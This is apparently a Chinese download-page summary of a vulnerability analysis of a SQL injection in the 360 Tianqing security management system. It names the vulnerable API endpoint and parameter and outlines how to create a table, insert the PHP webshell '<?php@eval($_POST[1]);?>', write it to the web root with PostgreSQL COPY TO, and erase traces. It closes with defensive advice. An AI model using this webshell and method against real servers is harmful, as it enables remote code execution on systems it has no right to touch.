360天擎SQL注入漏洞分析:创建表与写shell

需积分: 0 3 下载量 154 浏览量 更新于2024-08-05 收藏 1.78MB PDF 举报
"360天擎前端SQL注入漏洞演示及利用步骤" 本文将详细讨论在360天擎安全管理系统中发现的一个SQL注入漏洞,该漏洞可能导致恶意攻击者通过创建表并写入恶意代码来执行任意命令。具体来说,这个漏洞出现在URL `https://192.168.24.196:8443/api/dp/rptsvcsyncpoint` 的API请求中,允许攻击者通过构造特定的参数值进行SQL注入攻击。 首先,我们来看一下利用此漏洞的过程: 1. **安装权限**:由于360天擎通常是通过安装包以管理员权限运行的,攻击者可以尝试利用此权限进行更危险的操作,如写入系统文件。 2. **创建表O**:利用SQL注入,攻击者在数据库中创建一个名为O的新表,这是执行恶意操作的基础。 3. **添加字段和写入shell**:向表O添加一个字段T,并写入PHP后门代码。例如:`<?php@eval($_POST[1]);?>` 这段代码会执行通过POST请求传递的任意PHP代码。 4. **使用COPY TO功能**:PostgreSQL数据库提供了一个COPY TO命令,可以将表O中的所有数据复制到文件系统中。在这种情况下,它将字段T的内容写入了`C:\ProgramFiles(x86)\360\skylar6\www\1.php`,创建了一个可执行的PHP后门。 5. **删除表O**:为了隐藏痕迹,攻击者在写入后门后删除了表O。 成功利用此漏洞后,恶意PHP文件`1.php`位于服务器的公共可访问目录下,可以通过访问`https://192.168.24.196:8443/1.php`来执行。例如,通过POST请求发送`1=phpinfo()`,可以查看服务器的PHP配置信息,证明了后门的有效性。 漏洞出现的原因在于360天擎的`api/dp/rptsvcsyncpoint`接口。在`DpController.php`中的`getSyncPoint()`方法中,没有对`ccid`参数进行充分的输入验证和转义,导致了SQL命令的直接拼接执行,从而允许了SQL注入。 为了防御此类攻击,开发者应遵循以下最佳实践: 1. **参数化查询**:使用预编译语句或参数化查询,确保用户输入不会影响SQL语句的结构。 2. **输入验证**:对所有输入数据进行严格的类型和格式验证,拒绝不符合预期的数据。 3. **权限限制**:为应用服务数据库账户分配最小权限,避免不必要的全局系统权限。 4. **日志监控**:定期审查系统日志,及时发现异常行为。 5. **代码审计**:定期进行代码安全审计,查找并修复可能的安全漏洞。 6. **安全更新**:及时应用软件更新和安全补丁,保持系统安全。 通过以上措施,可以显著提高系统的安全性,减少SQL注入等常见攻击的风险。